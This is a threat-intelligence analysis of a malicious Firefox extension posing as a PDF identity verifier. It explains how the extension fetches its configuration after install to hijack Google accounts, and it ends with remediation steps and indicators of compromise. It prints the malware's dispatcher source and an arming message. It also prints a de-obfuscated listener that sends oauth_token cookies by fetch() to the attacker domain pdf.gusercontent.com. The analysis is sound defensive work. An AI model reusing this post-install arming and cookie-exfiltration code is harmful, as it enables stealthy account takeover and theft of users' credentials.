threat_intelligence1894 wordsRead on Arc Codex

Malicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google Accounts

Malicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google Accounts A malicious Firefox extension fetches its payload after installation to evade detection, steal Google session cookies, and automate account takeover. - Karlo Zanki Socket identified a Firefox extension that ships with no hardcoded malicious code and fetches a remote payload after installation to silently automate Google account takeover, targeting Portuguese- and Spanish-speaking users since September 11, 2026. Socket's Threat Research team identified a malicious Firefox extension posing as a utility for identity verification before opening protected PDF documents. The extension, pdf-para-texto@extensao.local , was published to the Firefox Add-ons store on September 3, 2026, and its malicious functionality was first introduced in version 1.4 on September 11, 2026. The extension does not have a significant user base, and the expected impact is fairly low. It drew researchers' attention because of how it is designed to avoid detection at every stage of its operation: the code shipped to the add-on store contains no hardcoded malicious logic, no target URLs, and no exfiltration endpoint. Instead, the extension fetches its malicious configuration and payload from attacker infrastructure only after installation, then uses it to inject an automated account-takeover script directly into real accounts.google.com pages the victim visits β€” ultimately capturing both the victim's Google session cookie and, when Google prompts for one, a password reset value the attacker controls. A Clean-Looking Extension The extension's static files β€” manifest.json , content.js , and background.js β€” contain no hardcoded malicious behavior. There is no target URL, no exfiltration endpoint, and no credential-stealing logic anywhere in the shipped code. background.js is a generic interpreter: config = await browser.storage.local.get(); // empty at install time const _call = (path, ...args) => path.split('.').reduce(...)(...args); // resolves & invokes ANY global by dotted string The malicious behavior β€” which network requests to watch, which headers to read, which function to call, which code to inject β€” is data, not code. That data doesn't exist until something writes it into browser.storage.local after install. A store reviewer or static scanner sees only a content-free dispatcher; there is nothing to flag until the extension is armed at runtime. Static analysis surfaces a few unusual but individually inconclusive details: content_scripts match://*.google.com/* and://*.gusercontent.com/* atdocument_start β€” broad, but not inherently malicious for a "PDF identity verification" tool.- Permissions request webRequest ,storage , andhttps://*.google.com/* β€” plausible for a document-integrated utility. content.js patches thePublicKeyCredential interface of the Web Authentication API (WebAuthn) so capability checks always report a platform authenticator/passkey as available β€” unusual, but not conclusive on its own. None of these observations proves malicious intent in isolation. The extension only becomes dangerous once it is armed. Initial Access and Infection Chain The loading of the malicious functionality is triggered from the extension's install event handler. When browser.runtime.onInstalled fires, the extension opens an active tab to hxxps://pdf[.]gusercontent[.]com/oninstalled after a five-second delay. gusercontent[.]com is a lookalike domain controlled by the attacker, chosen to resemble Google's legitimate googleusercontent.com . content.js is injected into that page as well, since the manifest also matches *.gusercontent.com . It exposes an open message bridge between the page and the extension's privileged background worker: window.addEventListener("message", (event) => { if (event.source!== window) return; if (event.data[0] === "ext") browser.runtime.sendMessage(event.data[1]); }); The landing page itself contains no obvious malicious functionality, but it loads a script from attacker-controlled infrastructure: That script sends a message that triggers parsing and construction of the malicious logic inside background.js : window.postMessage(["ext", [1, "browser.storage.local.set", "browser.runtime.reload", ]], "*") background.js 's message handler for m[0] === 1 runs _call(m[1], m[3]) , which executes browser.storage.local.set() and then calls init() again. This re-reads config and registers a webRequest.onCompleted listener using the newly supplied URL filter, header names, matching rules, and destination URL. Background Worker Before and After Arming background.js consists of four parts. The first, _call(path, ...args) , is a generic dispatcher. Basically, it enables function invocation by passing it the function name and arguments as strings β€” _call("console.log", "Hello World!") . The logic inside the init() function reads config from browser.storage.local and parses the config object to construct its real functionality. It uses the _call generic dispatcher described above to perform function execution. Finally, two event listeners are defined. The first handles message events, enabling the communication bridge between the background worker and the content script. The second is used to trigger the malware activation chain immediately after the extension is installed. As shipped, every action background.js can take is indexed through config , which is empty at install time β€” init() 's if (config[0]) branch never runs, and no webRequest listener is registered. Nothing observable happens: var config= {}; const _call = (caminho, ...args) => caminho.split('.').reduce((obj, chave, _, arr) => arr.length- 1 === _? obj[chave].bind(arr.slice(0, -1).reduce((o, k) => o[k], globalThis)) : obj[chave] , globalThis)(...args); const b64 = (str) => btoa(str) .replace(/\+/g, '-') .replace(/\//g, '_') .replace(/=+$/, ''); var bound= false; async function init() { try { config= await browser.storage.local.get(); if (config[0]) { if (bound) return; bound= true; browser.webRequest.onCompleted.addListener( (d) => { if (d[config[0][8]]) { d[config[0][8]].forEach((h) => { if (h[config[0][9]].toLowerCase() === config[0][5]) { if (h[config[0][10]].includes(config[0][11])) { _call( config[0][12], `${config[0][13]}${config[config[0][14]]}${config[0][17]}${b64(config[config[0][15]])}${config[0][16]}${b64(h[config[0][10]])}` ) } } }); } }, { urls: [config[0][4]] }, [config[0][6]] ); } } catch (e) {} } init(); browser.runtime.onMessage.addListener((m, sender, sendResponse) => { if (m[0] === 0) { if (config.hasOwnProperty(m[1])) { const options= {}; options[config[0][1]] = config[m[1]]; _call(config[0][0], sender.tab.id, options); } } if (m[0] === 1) { _call(m[1], m[3]); init(); } }); browser.runtime.onInstalled.addListener((details) => { if (details.reason=== "install") { setTimeout(async () => { const tab= await browser.tabs.create({ url: "https://pdf[.]gusercontent[.]com/oninstalled", //defanged active: true }); }, 5000); } }); Once the oninstalled page's script calls postMessage(["ext", [1, "browser.storage.local.set", ..., ]]) , the following array is written into browser.storage.local : config[0] = [ "browser.tabs.executeScript", //[0] "code", //[1] "browser.storage.local.set", //[2] "browser.runtime.reload", //[3] "https://*.google.com/*", //[4] webRequest URL filter "set-cookie", //[5] header name to match "responseHeaders", //[6] webRequest extraInfoSpec "browser.webRequest.onCompleted.addListener", //[7] "responseHeaders", //[8] details.responseHeaders "name", //[9] header.name "value", //[10] header.value "oauth_token", //[11] substring filter on cookie value "fetch", //[12] exfil primitive "https://pdf.gusercontent.com/api/accounts/collect/?leadId=", //[13] exfil url "leadId", //[14] "email", //[15] "&data=", //[16] query string part "&email=", //[17] query string part ]; config["leadId"] = ""; config["email"] = ""; config["accounts.google.com"] = ""; Substituting these literal values into background.js 's abstract logic shows the equivalent, de-obfuscated runtime behavior: // init(): resolved webRequest listener browser.webRequest.onCompleted.addListener( (d) => { if (d["responseHeaders"]) { d["responseHeaders"].forEach((h) => { if (h["name"].toLowerCase() === "set-cookie") { if (h["value"].includes("oauth_token")) { fetch( `https://pdf.gusercontent.com/api/accounts/collect/?leadId=${config["leadId"]}&email=${b64(config["email"])}&data=${b64(h["value"])}` ); } } }); } }, { urls: ["https://*.google.com/*"] }, ["responseHeaders"] ); // onMessage: resolved hostname-triggered code injection browser.runtime.onMessage.addListener((m, sender, sendResponse) => { if (m[0] === 0) { // fires when content.js reports window.location.hostname === "accounts.google.com" if (config.hasOwnProperty("accounts.google.com")) { browser.tabs.executeScript(sender.tab.id, { code: config["accounts.google.com"] // = full load-addon.js source }); } } if (m[0] === 1) { _call(m[1], m[3]); // e.g. browser.storage.local.set({...}) or browser.runtime.reload() init(); } }); The resolved listener watches every response on *.google.com for a Set-Cookie header containing oauth_token and beacons the raw cookie value, together with the victim's identifiers, to the attacker's exfiltration endpoint. Any tab that reports itself as accounts.google.com gets load-addon.js executed inside it via tabs.executeScript . Nothing in background.js changes after installation β€” only the data backing it does. Payload Behavior: Google Account Takeover The /oninstalled landing page's script (index-BhOgWOaO.js ) performs several steps that set up account takeover before the configuration is even sent to the background worker: - It calls Google's real Federated Credential Management (FedCM) API β€” navigator.credentials.get({identity:{providers:[{configURL:""}]}}) β€” to silently identify the victim's signed-in Google account, resolving aleadId andemail . - It stores {leadId, email} into theconfig object sent to the background worker. - It fetches /loginSdk/load-addon.js , the script that will later be injected intoaccounts.google.com tabs, and pushes it β€” together with the resolved victim identifiers β€” to the background worker via the message bridge described above. - It redirects the browser to the real https://accounts.google.com/EmbeddedSetup?Email= page, handing control to Google's own genuine sign-in flow. Once the content script loads on the matched accounts.google.com page, the background worker injects the fetched load-addon.js directly into that real Google page via executeScript . From that point, load-addon.js turns the victim's own authenticated browser session into a remote-controlled account-takeover bot, running entirely on Google's legitimate domain: - It creates a fake, full-screen "Validating your identity…" overlay to hide the automation from the victim. - It drives Google's real sign-in flow by URL: skipping the password step, forcing the passkey/security-key challenge ( data-challengetype="53" ), and detecting and retrying around Google's own bot-detection block page (errors/robot.png ) by re-navigating with an incrementingcid parameter. - If Google forces a password reset ( changepasswordform ), the script generates a random valid password, sets it via the nativeHTMLInputElement value setter, and submits it β€” silently changing the victim's real Google account password to a value the attacker logs and controls. - In parallel, background.js 'swebRequest.onCompleted listener watches allhttps://*.google.com/* responses for aSet-Cookie header containingoauth_token and exfiltrates the captured cookie value to the attacker's collection endpoint. - It streams a live transcript β€” page text plus a snapshot of interactive UI elements β€” to the attacker's logging endpoint roughly every 500ms, giving the threat actor real-time visibility into each hijack in progress. - It finishes by redirecting the victim back to attacker infrastructure. Credential Theft and Data Exfiltration This extension gives the threat actor two independent paths to the same Google account, running concurrently: a stolen, valid oauth_token session cookie captured directly from Google's network responses, and β€” whenever Google's own risk engine forces a password reset during the automated flow β€” a fresh account password that only the attacker knows. Either one is sufficient for account access; together, they give the operator both an immediate live session and durable, attacker-controlled credentials to the same account. Localized Victim Targeting The extension's user-facing strings and lure page are localized for pt , pt-PT , es , and en locales, and the overlay text and PDF-verification pretext are written in Portuguese, indicating the campaign is aimed at Portuguese- and Spanish-speaking users. At the time of publication, the extension does not have a significant user base, and Socket assesses the expected impact as fairly low. Its significance lies less in scale and more in the detection-evasion design: shipping with zero hardcoded malicious behavior and arming itself entirely through post-install configuration delivered from attacker infrastructure. Recommended Actions - Remove the extension. Uninstall PDF Identity Verifier and block the identifier pdf-para-texto@extensao.local through browser-management policies. - Terminate Google sessions. Sign the affected user out of all Google sessions and revoke active browser sessions and tokens from a trusted device. - Reset credentials. Change the Google account password from a known-clean device. Review and re-enroll passkeys, security keys, recovery addresses, recovery phone numbers, and multifactor-authentication methods. - Review account activity. Examine Google security events, login history, connected applications, forwarding rules, delegated access, recovery changes, and activity across services associated with the account. - Block the infrastructure. Hunt for and block requests to pdf[.]gusercontent[.]com , including the installation, loader, collection, telemetry, and redirect paths listed below. - Inspect Firefox profiles. Search managed endpoints for the extension identifier, its local-storage data, and installation records. Treat affected browser profiles as compromised. Indicators of Compromise (IoC) Extension Identifier pdf-para-texto@extensao.local - PDF Identity Verifier C2 Infrastructure pdf[.]gusercontent[.]com - C2 domainpdf[.]gusercontent[.]com/oninstalled - onInstalled landing pagepdf[.]gusercontent[.]com/loginSdk/assets/index-BhOgWOaO.js - loader payload scriptpdf[.]gusercontent[.]com/loginSdk/load-addon.js - Google account takeover payloadpdf[.]gusercontent[.]com/api/accounts/collect/?leadId=&email=&data= - token exfiltration endpointpdf[.]gusercontent[.]com/api/extlog - live session telemetry endpointpdf[.]gusercontent[.]com/reload - post-hijack redirect File hashes f1b8329075b1cbd1ae0a5dc947bd00f94642cb166a86c2455a1d0b10aee9f2b1 - onInstalled landing page16447c70f8e3c99de95b92846460214a661915c89f5c10965bf18da4c279880a - loader payload scriptdc717b5ab9a8eccf6b6187880ba90b004cb00f503ff8bceb8405ccc33d1c6e3e - Google account takeover payload

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content β€” general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached β€” you'll always get the same 5 for this article.